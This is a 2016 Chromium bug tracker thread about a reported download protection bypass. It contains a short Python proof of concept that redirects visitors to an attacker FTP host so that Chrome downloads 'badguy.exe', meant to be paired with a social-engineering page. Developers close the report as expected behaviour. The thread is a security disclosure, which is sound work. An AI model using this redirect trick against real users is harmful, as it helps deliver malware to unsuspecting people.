Issue metadata
Sign in to add a comment
|
Security: Download Protection Bypass Vulnerability
Reported by
akrush...@gmail.com,
Jul 7 2016
|
||||||||||||||||||||||
Issue descriptionHello, The vulnerability below was tested using steps similar to the WGET exploit [https://www.exploit-db.com/exploits/40064/] that was published recently. To reproduce: run a FTP server on one host to act as a stager with any payload you wish to land on a target. Then, in Chrome (51.0.2704.103) redirect the user to a HTTP server running the following sample Python Script : import SimpleHTTPServer import SocketServer class myHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): self.send_response(301) self.send_header('Location','ftp://yourftpserverip/badguy.exe') self.end_headers() theport = 80 Handler = myHandler pywebserver = SocketServer.TCPServer(("", theport), Handler) print "Python based web server. Serving at port", theport pywebserver.serve_forever() In the root of the http server place a payload you want to download. When you connect to the webserver, Chrome will automatically download the badguy.exe file. While the file will not automatically execute, combined with a social engineering focused landing page, a user could potentially execute any payload retrieved in this way.
,
Jul 11 2016
Why do you think download protection was bypassed in this case? In general, Chrome considers the final URL to be authoritative when generating a filename. It's done this way so that some other unrelated site can't force a different filename onto a resource that was meant to be downloaded under a specific filename. The behavior in #0 is consistent with what we expect. Also, someone who controls the response to a navigation request can already force a download. No redirects needed. That in itself isn't considered a vulnerability. Protection against that behavior (which is commonly used for legitimate purposes) is provided by a combination of file type specific warnings and SafeBrowsing download protection.
,
Jul 11 2016
+SafeBrowsing, -Network I also noticed that the random (invalid) .exe file I used for testing didn't get flagged when downloaded via ftp nor http.
,
Jul 11 2016
Thank you for your timely response. I believe your analysis matches the behavior observed in the POC, and as such it appears that mitigations are already in place.
,
Jul 11 2016
It appears this is WAI.
,
Oct 18 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot |
|||||||||||||||||||||||
►
Sign in to add a comment |
|||||||||||||||||||||||
Comment 1 by calamity@chromium.org
, Jul 11 2016Components: UI>Browser>Downloads Internals>Network